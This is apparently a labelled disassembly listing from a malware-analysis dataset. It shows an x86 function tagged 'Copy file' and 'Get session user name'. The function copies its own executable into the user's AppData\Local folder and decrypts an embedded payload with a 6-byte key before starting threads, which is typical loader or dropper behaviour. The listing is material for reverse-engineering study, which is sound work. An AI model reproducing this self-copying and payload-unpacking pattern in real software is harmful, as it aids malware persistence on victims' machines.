Function at 0x10009f20
Capabilities:
Copy file
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10119e6e
mov eax, dword fs:[0]
push eax
sub esp, 0x4ac
mov eax, dword [0x1016e630]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x114]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x408]
push ecx
lea edx, [ebp - 0x218]
push edx
mov dword [ebp - 0x408], 0x101
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x114]
push 0x5c
push eax
call fcn.100fd86b
inc eax
push eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x31c]
push str.C:Users_sAppDataLocal_s
push edx
call fcn.100fe9a0
add esp, 0x18
push ebx
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x3fc]
push edx
call fcn.10006d90
lea eax, [ebp - 0x3c4]
push eax
mov dword [ebp - 4], ebx
call fcn.10009b00
lea ecx, [ebp - 0x338]
push ecx
mov byte [ebp - 4], 1
call fcn.10006de0
push eax
lea edx, [ebp - 0x3c4]
push edx
lea eax, [ebp - 0x3e0]
push eax
mov byte [ebp - 4], 2
call fcn.10004ed0
add esp, 0x18
mov esi, 0x10
mov byte [ebp - 4], 4
cmp dword [ebp - 0x324], esi
jb 0x1000a027
mov ecx, dword [ebp - 0x338]
push ecx
call fcn.1000a923
add esp, 4
lea edx, [ebp - 0x354]
mov edi, 0xf
push edx
mov dword [ebp - 0x324], edi
mov dword [ebp - 0x328], ebx
mov byte [ebp - 0x338], 0
call fcn.10007380
push eax
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x370]
push ecx
mov byte [ebp - 4], 5
call fcn.10004ed0
add esp, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0x340], esi
jb 0x1000a081
mov edx, dword [ebp - 0x354]
push edx
call fcn.1000a923
add esp, 4
lea eax, [ebp - 0x338]
push eax
mov dword [ebp - 0x340], edi
mov dword [ebp - 0x344], ebx
mov byte [ebp - 0x354], 0
call fcn.10007670
push eax
lea ecx, [ebp - 0x3c4]
push ecx
lea edx, [ebp - 0x38c]
push edx
mov byte [ebp - 4], 8
call fcn.10004ed0
add esp, 0x10
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x324], esi
jb 0x1000a0d6
mov eax, dword [ebp - 0x338]
push eax
call fcn.1000a923
add esp, 4
mov eax, dword [ebp - 0x3e0]
mov dword [ebp - 0x324], edi
mov dword [ebp - 0x328], ebx
mov byte [ebp - 0x338], 0
cmp dword [ebp - 0x3cc], esi
jae 0x1000a0fd
lea eax, [ebp - 0x3e0]
push 1
push 0x40
push 0x24
push eax
lea ecx, [ebp - 0x4b8]
call fcn.100093d0
mov ecx, dword [ebp - 0x4b8]
mov eax, dword [ecx + 4]
mov ecx, dword [ebp + eax - 0x4ac]
mov byte [ebp - 4], 0xb
test cl, 6
jne 0x1000a151
mov ecx, dword [ebp + eax - 0x480]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 1
push ebx
push ebx
lea eax, [ebp - 0x334]
push eax
call edx
mov ecx, dword [ebp - 0x32c]
mov eax, dword [ebp - 0x334]
jmp 0x1000a16a
mov ecx, dword [0x1014f404]
mov eax, dword [0x1014f400]
mov dword [ebp - 0x330], ecx
xor ecx, ecx
mov dword [ebp - 0x328], ebx
lea edi, [eax + ecx]
push edi
call fcn.1000a92e
add esp, 4
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x4b8]
mov esi, eax
call fcn.10002210
mov eax, edi
cdq
push edx
push eax
push esi
lea ecx, [ebp - 0x4b8]
call fcn.100039d0
lea ecx, [ebp - 0x4a8]
call fcn.10004ae0
test eax, eax
jne 0x1000a1cf
mov edx, dword [ebp - 0x4b8]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x4ac]
lea ecx, [ebp + ecx - 0x4b8]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x1000a1c8
or eax, 4
push ebx
push eax
call fcn.10001580
add edi, 0xfff2cffa
push edi
call fcn.1000a92e
mov ebx, eax
add esp, 4
xor eax, eax
test edi, edi
jle 0x1000a1ff
jmp 0x1000a1f0
mov cl, byte [esi + eax + 0xd3006]
mov byte [eax + ebx], cl
inc eax
cmp eax, edi
jl 0x1000a1f0
push 6
call fcn.1000a92e
movzx edx, byte [esi + 0xd3000]
mov byte [eax], dl
movzx ecx, byte [esi + 0xd3001]
mov byte [eax + 1], cl
movzx edx, byte [esi + 0xd3002]
mov byte [eax + 2], dl
movzx ecx, byte [esi + 0xd3003]
mov byte [eax + 3], cl
movzx edx, byte [esi + 0xd3004]
mov byte [eax + 4], dl
movzx ecx, byte [esi + 0xd3005]
push 6
push eax
lea edx, [ebp - 0x3a8]
push edx
mov byte [eax + 5], cl
call fcn.10009260
push 0x1016fe78
push 0x1016fe88
push edi
xor edi, edi
push edi
push ebx
mov byte [ebp - 4], 0xc
call fcn.10004150
mov eax, dword [ebp - 0x370]
mov esi, 0x10
add esp, 0x24
mov dword [ebp - 0x400], edi
cmp dword [ebp - 0x35c], esi
jae 0x1000a28a
lea eax, [ebp - 0x370]
push eax
call fcn.10008fa0
add esp, 4
test al, al
je 0x1000a304
push 0x1016fd20
mov ecx, 0x1016fe68
call fcn.10009350
mov eax, dword [0x1016fe88]
mov ecx, dword [eax]
mov edx, dword [0x1016fe78]
mov eax, dword [edx]
push ecx
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x3a8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push edx
mov byte [ecx], 0
call fcn.100032f0
call fcn.10002880
mov ecx, dword [0x1016fe68]
mov dword [ecx], eax
mov edx, dword [0x1016fe68]
mov eax, dword [0x1016fe78]
mov dword [edx + 4], eax
mov edx, dword [0x1016fe68]
jmp 0x1000a39a
mov eax, dword [ebp - 0x38c]
cmp dword [ebp - 0x378], esi
jae 0x1000a318
lea eax, [ebp - 0x38c]
push eax
call fcn.10008fa0
add esp, 4
test al, al
je 0x1000a3b7
push 0x1016fd20
mov ecx, 0x1016fe68
call fcn.10009350
mov eax, dword [0x1016fe88]
mov ecx, dword [eax + 4]
mov edx, dword [0x1016fe78]
mov eax, dword [edx + 4]
push ecx
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x3a8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push edx
mov byte [ecx], 0
call fcn.100032f0
call fcn.10002880
mov ecx, dword [0x1016fe68]
mov dword [ecx + 8], eax
mov edx, dword [0x1016fe78]
mov eax, dword [0x1016fe68]
add edx, 4
mov dword [eax + 0xc], edx
mov edx, dword [0x1016fe68]
add edx, 8
lea ecx, [ebp - 0x400]
push ecx
push edi
push edx
push 0x10001210
push edi
push edi
call fcn.10009090
add esp, 0x3c
jmp 0x1000a4b0
mov eax, dword [0x1016fe8c]
mov ecx, dword [0x1016fe88]
mov edx, eax
sub edx, ecx
sar edx, 2
xor esi, esi
test edx, edx
je 0x1000a468
jmp 0x1000a3e0
push 0x1016fd20
mov ecx, 0x1016fe68
call fcn.10009350
mov eax, dword [0x1016fe88]
mov ecx, dword [eax + esi*4]
mov edx, dword [0x1016fe78]
mov eax, dword [edx + esi*4]
push ecx
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0xffffffffffffffff
push edi
lea edx, [ebp - 0x3a8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], edi
push edx
mov byte [ecx], 0
call fcn.100032f0
call fcn.10002880
mov ecx, dword [0x1016fe68]
mov dword [ecx + esi*8], eax
mov edx, dword [0x1016fe78]
mov ecx, dword [0x1016fe68]
lea eax, [edx + esi*4]
mov dword [ecx + esi*8 + 4], eax
mov eax, dword [0x1016fe8c]
mov ecx, dword [0x1016fe88]
mov edx, eax
sub edx, ecx
inc esi
sar edx, 2
add esp, 0x24
cmp esi, edx
jb 0x1000a3e0
sub eax, ecx
sar eax, 2
xor esi, esi
test eax, eax
je 0x1000a4b0
mov ecx, dword [0x1016fe68]
lea eax, [ebp - 0x400]
push eax
push edi
lea edx, [ecx + esi*8]
push edx
push 0x10001210
push edi
push edi
call fcn.10009090
mov eax, dword [0x1016fe8c]
sub eax, dword [0x1016fe88]
inc esi
sar eax, 2
add esp, 0x18
cmp esi, eax
jb 0x1000a473
jmp 0x1000a4b0
push 0x2710
call fcn.10009190
add esp, 4
jmp 0x1000a4b0